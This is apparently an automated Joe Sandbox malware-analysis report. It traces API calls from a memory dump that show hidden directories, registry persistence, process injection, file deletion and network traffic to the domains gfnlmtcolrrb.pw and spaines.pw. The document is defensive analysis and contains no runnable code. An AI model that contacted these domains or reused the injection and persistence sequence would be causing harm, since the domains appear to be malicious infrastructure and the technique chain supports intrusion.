Part of subcall function 033906C2: VirtualAlloc.KERNELBASE(00000000,00100000,00003000,00000004), ref: 033907AB

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: AttributesCreateDirectoryFile$AddressAllocLibraryLoadProcSleepVirtuallstrcatlstrcmpi
String ID:
API String ID: 2102637170-0
Opcode ID: a8df3cce69ca11ad82ae1c349e259599bdf06f4bf77717782c4d553f26b560ae
Instruction ID: ec8398b071f4515d20d387dfb5cda8ee23503b99091b7ffb9b3aa5101b432d85
Opcode Fuzzy Hash: a8df3cce69ca11ad82ae1c349e259599bdf06f4bf77717782c4d553f26b560ae
Instruction Fuzzy Hash: F04103B2504714AFEF16AB60CCC8BAA77BCEF44700F45049AA785EF055DE709690CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 033906C2 Relevance: 13.6, APIs: 9, Instructions: 97
sleepmemorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmpiA.KERNEL32(?,00000000), ref: 033906EB
Sleep.KERNELBASE(00001388), ref: 033906FE
CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 0339071F
SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 03390731
CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 03390752
SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 03390764

Part of subcall function 03392597: lstrcat.KERNEL32(03392634,00000000), ref: 033925DE

CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 03390785
SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 03390797
VirtualAlloc.KERNELBASE(00000000,00100000,00003000,00000004), ref: 033907AB

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: AttributesCreateDirectoryFile$AllocSleepVirtuallstrcatlstrcmpi
String ID:
API String ID: 2015199959-0
Opcode ID: f9599e8adb29c5ebd1ea761d138e7f3780641abcf38f742bfd3d2987c2fe3e42
Instruction ID: f7998f2ead70fc34796130a022800e4365d5d0b7bc868ee2fd5ec962ca7c8e77
Opcode Fuzzy Hash: f9599e8adb29c5ebd1ea761d138e7f3780641abcf38f742bfd3d2987c2fe3e42
Instruction Fuzzy Hash: 5531F1B2500614AFEF16AB60CCC8BAA73BCEF44744F45049EB785EF045DE709680CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 033929A6 Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,0339299D), ref: 033929AC

Part of subcall function 033929DD: lstrcat.KERNEL32(00000000,033929D4), ref: 033929E3
Part of subcall function 033929DD: lstrcat.KERNEL32(00000000,03392A0B), ref: 03392A1A
Part of subcall function 033929DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 03392A94
Part of subcall function 033929DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 03392AD8

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 03392B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 03392B42

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: ea24b2d0948a46e09ffe2e34872151d6fffd848d6adfcb06e5263f1eabd84507
Instruction ID: 55b9549200e354d718bcec4e3dac00ae64e5ae0a0dfeba9942d2dcac3be53569
Opcode Fuzzy Hash: ea24b2d0948a46e09ffe2e34872151d6fffd848d6adfcb06e5263f1eabd84507
Instruction Fuzzy Hash: 9C412676801718EEEF22EB61CDC4BAB77BCEF40705F044897AA45EA011DE749680CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 03392F3F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(gfnlmtcolrrb.pw,00000000,03392F2E,00000011,?,00000000,00000011,00000000,/EiDQjNbWEQ/,00000000), ref: 03392F53

Part of subcall function 03392F88: send.WS2_32(?,00000000,00000000,00000000), ref: 03392FF4
Part of subcall function 03392F88: send.WS2_32(?,03392A30,03392A2C,00000000), ref: 0339300D
Part of subcall function 03392F88: recv.WS2_32(?,03392A30,00A00000,00000000), ref: 03393030
Part of subcall function 03392F88: closesocket.WS2_32(?), ref: 0339304A

Strings

gfnlmtcolrrb.pw, xrefs: 03392F52, 03392F5A, 03392FDB

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: send$closesocketlstrlenrecv
String ID: gfnlmtcolrrb.pw
API String ID: 1577144637-1614117810
Opcode ID: 47e1b1d1e09dae78ecab814af72e97c8beb8c55764ffd7795c611f6a9b2faa7b
Instruction ID: 60795fe64d14d6c349aa60739f59cb3592a2b0ee7f1b05195e95e623fe29fbed
Opcode Fuzzy Hash: 47e1b1d1e09dae78ecab814af72e97c8beb8c55764ffd7795c611f6a9b2faa7b
Instruction Fuzzy Hash: 9B21D576A00114FBFF129E24CC84F9A7BE8EF44754F084196FE09EF155D7359A108BA4

Uniqueness

Uniqueness Score: -1.00%

Function 03390CE8 Relevance: 10.6, APIs: 7, Instructions: 64
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 03390D07
Sleep.KERNELBASE(000003E8), ref: 03390D1D
Process32First.KERNEL32(?,00000000), ref: 03390D3D
FindCloseChangeNotification.KERNELBASE(00000000,0000090B,00000000), ref: 03390D88
Process32Next.KERNEL32(?,?), ref: 03390D9E
FindCloseChangeNotification.KERNELBASE(?), ref: 03390DCA
Sleep.KERNELBASE(000003E8), ref: 03390DD5

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: ChangeCloseFindNotificationProcess32Sleep$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1902139912-0
Opcode ID: 7ef9ee58ba518d41f3acc58a6d1fc59d2da839a49c47249353964cec8b1c453b
Instruction ID: 16dfc279058c1190d120e73408589ffc03444f013b20e19f23a6e862c8318b20
Opcode Fuzzy Hash: 7ef9ee58ba518d41f3acc58a6d1fc59d2da839a49c47249353964cec8b1c453b
Instruction Fuzzy Hash: 3D217135901218EBFF269F54CC94BE9B7B9AF08740F0801DAE919FA1A5CB305A90CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0339261C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsA.KERNEL32(0339260C,00000010,?,?,0339298A,00000104), ref: 03392621
lstrcat.KERNEL32(0339298A,03392659), ref: 03392666
lstrcat.KERNEL32(0339298A,0339298A), ref: 03392679

Part of subcall function 03392597: lstrcat.KERNEL32(03392634,00000000), ref: 033925DE

Strings

\AC\, xrefs: 03392639

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: lstrcat$EnvironmentExpandStrings
String ID: \AC\
API String ID: 2903145849-1749977576
Opcode ID: 1a1455d68d8f3bd8c3de392b281e5d27977fe7010f103cb395b91df9d1250492
Instruction ID: 9db000ec688731e0cd26892cd1dc539b2b1922b7304f511ec4c4c5bfbb5c1e7a
Opcode Fuzzy Hash: 1a1455d68d8f3bd8c3de392b281e5d27977fe7010f103cb395b91df9d1250492
Instruction Fuzzy Hash: 7A111971500948FFEF02DF60CC89EAEBBB8EF11744F1844AAE945EE021D7718A51DB95

Uniqueness

Uniqueness Score: -1.00%

Function 033929DD Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,033929D4), ref: 033929E3

Part of subcall function 03392A14: lstrcat.KERNEL32(00000000,03392A0B), ref: 03392A1A
Part of subcall function 03392A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 03392A94
Part of subcall function 03392A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 03392AD8
Part of subcall function 03392A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 03392B2E
Part of subcall function 03392A14: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 03392B42

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: 7f63560f243963457db3ff63725a4164d9a7c5e5f62613537768b102b2fc6caa
Instruction ID: 0aae8976832be2c1f5dd80a4f40b5fe40a9e3a07ca68ab337cb716a98034006f
Opcode Fuzzy Hash: 7f63560f243963457db3ff63725a4164d9a7c5e5f62613537768b102b2fc6caa
Instruction Fuzzy Hash: 6C41367680171CEEEF22EB61CDC4BAB76FCEF40705F054897A945EA051DE749580CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 03392F38 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

send.WS2_32(?,00000000,00000000,00000000), ref: 03392FF4
send.WS2_32(?,03392A30,03392A2C,00000000), ref: 0339300D
recv.WS2_32(?,03392A30,00A00000,00000000), ref: 03393030
closesocket.WS2_32(?), ref: 0339304A

Strings

gfnlmtcolrrb.pw, xrefs: 03392FDB

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: send$closesocketrecv
String ID: gfnlmtcolrrb.pw
API String ID: 3431254638-1614117810
Opcode ID: 3de71ac913557117b39ba19aefa8f7a10d2ba1ba6dbe92ee6fcdf69db35a4dda
Instruction ID: b812975e2401362ab2df58f66e8f07df07af5f52e45ecf44ac7da1324a549e38
Opcode Fuzzy Hash: 3de71ac913557117b39ba19aefa8f7a10d2ba1ba6dbe92ee6fcdf69db35a4dda
Instruction Fuzzy Hash: 83118176B00014EBEF129E28CC84B967BF8EF44794F0941D5FF09EA115E335E9108BA4

Uniqueness

Uniqueness Score: -1.00%

Function 03392535 Relevance: 7.6, APIs: 5, Instructions: 95
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsA.KERNELBASE(03392525,00000010,?,?,033929F8,00000104), ref: 0339253A

Part of subcall function 03392572: lstrcat.KERNEL32(033929F8,03392553), ref: 0339257A
Part of subcall function 03392572: lstrcat.KERNEL32(033929F8,00000000), ref: 0339258D

ExpandEnvironmentStringsA.KERNEL32(033925BB,0000000B,?,00000000,03392634,00000104), ref: 033925CB
lstrcat.KERNEL32(03392634,00000000), ref: 033925DE

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: lstrcat$EnvironmentExpandStrings
String ID:
API String ID: 2903145849-0
Opcode ID: 815612cc5c30cec6fa8ba0fbaeab2fe1927bb25e379c814d3d0a7115e2d1fffc
Instruction ID: 3ef123170d4f1c5abdef0fb9e3fa4f8607bb01ecc4f8a96ec07e4a471422ec03
Opcode Fuzzy Hash: 815612cc5c30cec6fa8ba0fbaeab2fe1927bb25e379c814d3d0a7115e2d1fffc
Instruction Fuzzy Hash: 1C31E771048685EFEF03DF60CC969EA7B68FF02308B0844ABE985DE063D6744557CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 03392A14 Relevance: 7.6, APIs: 5, Instructions: 94
filesleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,03392A0B), ref: 03392A1A

Part of subcall function 03392B4D: inet_addr.WS2_32(00000000), ref: 03392BDA
Part of subcall function 03392B4D: gethostbyname.WS2_32(00000000), ref: 03392BEE
Part of subcall function 03392B4D: Sleep.KERNELBASE(00000001,?,452F5000,00000020), ref: 03392C44

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 03392A94
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 03392AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 03392B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 03392B42

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: DeleteFile$Sleep$gethostbynameinet_addrlstrcat
String ID:
API String ID: 1642945479-0
Opcode ID: e8b37fd542badaf8432c301c0c7f6f955668a479b2aefd2c0e39df4bfbe44a3d
Instruction ID: 56cb2eefb0b6d91cf8678c3f992a1079f646545bac2468ab5b4d4a73bdbb3a52
Opcode Fuzzy Hash: e8b37fd542badaf8432c301c0c7f6f955668a479b2aefd2c0e39df4bfbe44a3d
Instruction Fuzzy Hash: 5231357690171DEEEF22EB21CDC8BAB76FCEF40705F0508A7A945EA044DE749580CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 03392B4D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 138
sleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

inet_addr.WS2_32(00000000), ref: 03392BDA
gethostbyname.WS2_32(00000000), ref: 03392BEE
Sleep.KERNELBASE(00000001,?,452F5000,00000020), ref: 03392C44

Strings

spaines.pw, xrefs: 03392B70

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: Sleepgethostbynameinet_addr
String ID: spaines.pw
API String ID: 4125869991-3306378189
Opcode ID: c9cc6fa465a78be1f47e10917d204f6e8e853b0dcedaa1fd5f228baccd3b115a
Instruction ID: b181dd527ced3fa708be06f317dcbd72a32207def5a940ac14dc63451225dbe1
Opcode Fuzzy Hash: c9cc6fa465a78be1f47e10917d204f6e8e853b0dcedaa1fd5f228baccd3b115a
Instruction Fuzzy Hash: CE41F376500608FEFF11EF24C8C4BABBBEDEF44700F098996E845EF146DA309645CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 03392C99 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107sleepnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(00000000), ref: 03392BDA
gethostbyname.WS2_32(00000000), ref: 03392BEE
Sleep.KERNELBASE(00000001,?,452F5000,00000020), ref: 03392C44

Strings

spaines.pw, xrefs: 03392B70

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: Sleepgethostbynameinet_addr
String ID: spaines.pw
API String ID: 4125869991-3306378189
Opcode ID: a686e0a2577ad44437bb4935b9685bf0ba3a9ec673925458d8bfa502b5707883
Instruction ID: 9422f252e16316ab400cd7635f7f74293f609fbb73af1c833d0f20cd018e1ff5
Opcode Fuzzy Hash: a686e0a2577ad44437bb4935b9685bf0ba3a9ec673925458d8bfa502b5707883
Instruction Fuzzy Hash: 68318076500608FEFF12EF24C8C4FAAB7ECEF44710F098996E945EF145EA309544CAA5

Uniqueness

Uniqueness Score: -1.00%

Function 03390811 Relevance: 6.1, APIs: 4, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0339086E: RegCreateKeyExA.KERNELBASE(00000000,03390840,0000002E,?,?,?,?,?,00000002,?,00000000,00000000), ref: 03390876
Part of subcall function 0339086E: RegSetValueExA.KERNELBASE(?,00000000,00000000,00000001,80000001,00000000), ref: 0339089D
Part of subcall function 0339086E: RegCloseKey.KERNELBASE(?), ref: 033908A9

CreateThread.KERNELBASE(00001FE4,00001FE4,00000000,00000000,00000000,00000000,?,?,?,?,00000002,?,00000000,00000000), ref: 03390900

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: Create$CloseThreadValue
String ID:
API String ID: 711899537-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 5642f87f2a1790174f3677f186574113534f0f7cb64971d423b3a4a4c4816fa2
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: A631F476914305EFFF05BB709DC6ABA7BACEF00301F0401A7BD95EE0A5EA3049548AB5

Uniqueness

Uniqueness Score: -1.00%

Function 03390B65 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(03390B57,0000000E), ref: 03390B6A
GetWindowThreadProcessId.USER32(00000000,E9000437), ref: 03390B77
OpenProcess.KERNEL32(001F0FFF,00000000), ref: 03390B84

Part of subcall function 03390DE0: VirtualAllocEx.KERNELBASE(?,00000000,00004F37,00003000,00000040,E8FFF41B,?,E900001B,03390D88,00000000,0000090B,00000000), ref: 03390E06
Part of subcall function 03390DE0: WriteProcessMemory.KERNELBASE(?,-000008D9,00000000,00004F37,00000000), ref: 03390E24

ExitProcess.KERNEL32(00000000,00000000,000008B3), ref: 03390BA6

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: Process$Window$AllocExitFindMemoryOpenThreadVirtualWrite
String ID:
API String ID: 3233011861-0
Opcode ID: 1c0a6b39f04f013888fd52650cb507d7030a6be19416d1a6354875ae22fce905
Instruction ID: 517b82a383c2e7a4812e6ea851679648a792afa251caaa5788cf142487583aa6
Opcode Fuzzy Hash: 1c0a6b39f04f013888fd52650cb507d7030a6be19416d1a6354875ae22fce905
Instruction Fuzzy Hash: CE11BF79A44341AEFF19AB70DDD4A667F6DAF42704B1D4097E845AE0A3DA20C4029B38

Uniqueness

Uniqueness Score: -1.00%

Function 03392683 Relevance: 6.0, APIs: 4, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,00000000), ref: 0339269E
GetFileSize.KERNEL32(?,00000000), ref: 033926B7
ReadFile.KERNELBASE(0339298A,?,00000000,?,00000000), ref: 033926DB
CloseHandle.KERNEL32(0339298A), ref: 033926EC

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: File$CloseCreateHandleReadSize
String ID:
API String ID: 3919263394-0
Opcode ID: 9ada69b04f3692008db521882e0968e7923ead0aff1f3c703ebe1070c1fb8f1c
Instruction ID: 013107c205aee1ace5d4d138f750ae80e2a7ecab0006067a52581bd7f0a62538
Opcode Fuzzy Hash: 9ada69b04f3692008db521882e0968e7923ead0aff1f3c703ebe1070c1fb8f1c
Instruction Fuzzy Hash: 9701EC30641609FFFF11DF60CC85B9DBAB8EF05B44F2445AAAA14F91E0D7709A209B54

Uniqueness

Uniqueness Score: -1.00%

Function 033926F9 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,40000000,00000003,00000000,?,00000080,00000000,?,00000000), ref: 03392715
SetFilePointer.KERNELBASE(?,00000000,00000000,00000002), ref: 03392732
WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000), ref: 0339274E
CloseHandle.KERNEL32(?), ref: 0339275F

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: a40e3678fe326f262f8e987c9c58990722f01f7e7693261b160253958e830727
Instruction ID: 954f9f7e3452b866f7d1e50acb5c721ba48d100d448d6c0de9ae90a38e6509ad
Opcode Fuzzy Hash: a40e3678fe326f262f8e987c9c58990722f01f7e7693261b160253958e830727
Instruction Fuzzy Hash: E101E430640209FFEF119FA0CC85F8EBEB8AF04B04F1041A9BA14F91E1D770AA21AB54

Uniqueness

Uniqueness Score: -1.00%

Function 03391345 Relevance: 4.6, APIs: 3, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,00000020,00000040,?), ref: 03391372
VirtualAlloc.KERNELBASE(00000000,00000020,00003000,00000040), ref: 03391387
VirtualProtect.KERNELBASE(?,00000020,?,?), ref: 033913E5

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 3883c34fb4642d7b07f3e355823c27fce38063dcb45b78d8411dee102c9a8a00
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: 3A218E31904216AFEF11DE78C884B5DBBB5AF08700F094216F955BB594D770A810CB94

Uniqueness

Uniqueness Score: -1.00%

Function 03390B6B Relevance: 4.5, APIs: 3, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(00000000,E9000437), ref: 03390B77
OpenProcess.KERNEL32(001F0FFF,00000000), ref: 03390B84

Part of subcall function 03390DE0: VirtualAllocEx.KERNELBASE(?,00000000,00004F37,00003000,00000040,E8FFF41B,?,E900001B,03390D88,00000000,0000090B,00000000), ref: 03390E06
Part of subcall function 03390DE0: WriteProcessMemory.KERNELBASE(?,-000008D9,00000000,00004F37,00000000), ref: 03390E24

ExitProcess.KERNEL32(00000000,00000000,000008B3), ref: 03390BA6

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: Process$AllocExitMemoryOpenThreadVirtualWindowWrite
String ID:
API String ID: 2938372061-0
Opcode ID: 1059d9524711834fbe5d8e118d96b44bb8c4a827e91fa872819f30df3597f232
Instruction ID: 544d43924afc4364f839cb1089d5796b1feeb96042ed713d1849405105a05a57
Opcode Fuzzy Hash: 1059d9524711834fbe5d8e118d96b44bb8c4a827e91fa872819f30df3597f232
Instruction Fuzzy Hash: D3E04674680242AAFF106AA18CCAB9A3E5C6F04759F0C0195FE85BE0E7CA60C1468678

Uniqueness

Uniqueness Score: -1.00%

Function 0339086E Relevance: 4.5, APIs: 3, Instructions: 18registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.KERNELBASE(00000000,03390840,0000002E,?,?,?,?,?,00000002,?,00000000,00000000), ref: 03390876
RegSetValueExA.KERNELBASE(?,00000000,00000000,00000001,80000001,00000000), ref: 0339089D
RegCloseKey.KERNELBASE(?), ref: 033908A9

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: CloseCreateValue
String ID:
API String ID: 1818849710-0
Opcode ID: 80521feeef5b5afe5d23b39b9eb1feefe2f3b5b0f1d0cfe90cf95d840a227002
Instruction ID: 87870edc1d6f624e05b5c4127835a91d2502852ea00b4b25273aa0ee75b5fd76
Opcode Fuzzy Hash: 80521feeef5b5afe5d23b39b9eb1feefe2f3b5b0f1d0cfe90cf95d840a227002
Instruction Fuzzy Hash: 4AE01272100008BFEF026F60DC89A983B75EF44308F0480A1FE4AAD075CBB18AA0DF68

Uniqueness

Uniqueness Score: -1.00%

Function 033908D9 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

Part of subcall function 03390643: CreateMutexA.KERNELBASE(00000000,00000000), ref: 0339065A
Part of subcall function 03390643: LoadLibraryA.KERNELBASE(03390673,00000009,?,00000000), ref: 03390681
Part of subcall function 03390643: lstrcmpiA.KERNEL32(?,00000000), ref: 033906EB
Part of subcall function 03390643: Sleep.KERNELBASE(00001388), ref: 033906FE
Part of subcall function 03390643: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 0339071F
Part of subcall function 03390643: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 03390731
Part of subcall function 03390643: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 03390752
Part of subcall function 03390643: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 03390764
Part of subcall function 03390643: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 03390785

CreateThread.KERNELBASE(00001FE4,00001FE4,00000000,00000000,00000000,00000000,?,?,?,?,00000002,?,00000000,00000000), ref: 03390900

Part of subcall function 03390CE8: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 03390D07
Part of subcall function 03390CE8: Sleep.KERNELBASE(000003E8), ref: 03390D1D
Part of subcall function 03390CE8: Process32First.KERNEL32(?,00000000), ref: 03390D3D
Part of subcall function 03390CE8: FindCloseChangeNotification.KERNELBASE(00000000,0000090B,00000000), ref: 03390D88
Part of subcall function 03390CE8: Process32Next.KERNEL32(?,?), ref: 03390D9E
Part of subcall function 03390CE8: FindCloseChangeNotification.KERNELBASE(?), ref: 03390DCA
Part of subcall function 03390CE8: Sleep.KERNELBASE(000003E8), ref: 03390DD5

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: Create$DirectorySleep$AttributesChangeCloseFileFindNotificationProcess32$FirstLibraryLoadMutexNextSnapshotThreadToolhelp32lstrcmpi
String ID:
API String ID: 4243289212-0
Opcode ID: abfbc6871ba53161fe70b4bc33d47f3343101ac8d1b137fc9e23998c520ffae8
Instruction ID: 5fa97a6c67858940f239cafa5f4a4b21371961c09d75ec6c0873201f641d5d40
Opcode Fuzzy Hash: abfbc6871ba53161fe70b4bc33d47f3343101ac8d1b137fc9e23998c520ffae8
Instruction Fuzzy Hash: 11D01CAA854321FEFF08BAB48CC883B329CEE00200304497BAC85ED065EA204A808976

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 03392DCF Relevance: 12.1, APIs: 8, Instructions: 52encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,03392DA0,0000002F,?,00000000,00000001,F0000000), ref: 03392DE0
CryptImportPublicKeyInfo.CRYPT32(?,00000001,?,00000000), ref: 03392E06
CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,00000000), ref: 03392E29
CryptHashData.ADVAPI32(?,00000080,00000080,00000000), ref: 03392E43
CryptVerifySignatureA.ADVAPI32(?,03392A30,03392A2C,?,00000000,00000000), ref: 03392E63
